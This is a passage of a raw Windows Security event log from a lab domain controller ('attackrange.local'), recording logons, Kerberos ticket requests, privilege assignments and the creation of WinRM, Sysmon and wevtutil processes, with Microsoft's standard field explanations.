Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x49c - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253298 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19D1B0 - -Process Information: - New Process ID: 0x49c - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1e0 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253297 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19D1B0 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253296 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19D1B0 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {F8047A9E-3108-E198-4B03-D5585BEA0F05} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253295 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {F8047A9E-3108-E198-4B03-D5585BEA0F05} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253294 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {F8047A9E-3108-E198-4B03-D5585BEA0F05} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253293 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253292 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19D152 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253291 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19546B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253290 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1956BB - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253289 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19A0AC - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253288 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x196FFD - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253287 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19BA88 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253286 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x199313 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253285 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19D152 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253284 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19D152 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {F8047A9E-3108-E198-4B03-D5585BEA0F05} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253283 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {F8047A9E-3108-E198-4B03-D5585BEA0F05} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253282 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {F8047A9E-3108-E198-4B03-D5585BEA0F05} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253281 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253280 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19D136 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253279 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19D136 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253278 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19D136 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {F8047A9E-3108-E198-4B03-D5585BEA0F05} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253277 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {F8047A9E-3108-E198-4B03-D5585BEA0F05} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253276 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {F8047A9E-3108-E198-4B03-D5585BEA0F05} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253275 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253274 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19BC93 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253332 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11a4 - New Process Name: C:\Windows\sysmon64.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x35c - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\sysmon64.exe - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253331 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19D1B0 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1050 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1094 - Creator Process Name: C:\Windows\System32\wevtutil.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253330 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19D1B0 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1094 - New Process Name: C:\Windows\System32\wevtutil.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1254 - Creator Process Name: C:\Windows\sysmon64.exe - Process Command Line: "C:\Windows\system32\wevtutil.exe" im "C:\Users\ADMINI~1\AppData\Local\Temp\MANCEF1.tmp" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253329 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19D1B0 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x138c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x130c - Creator Process Name: C:\Windows\System32\wevtutil.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253328 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19D1B0 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New 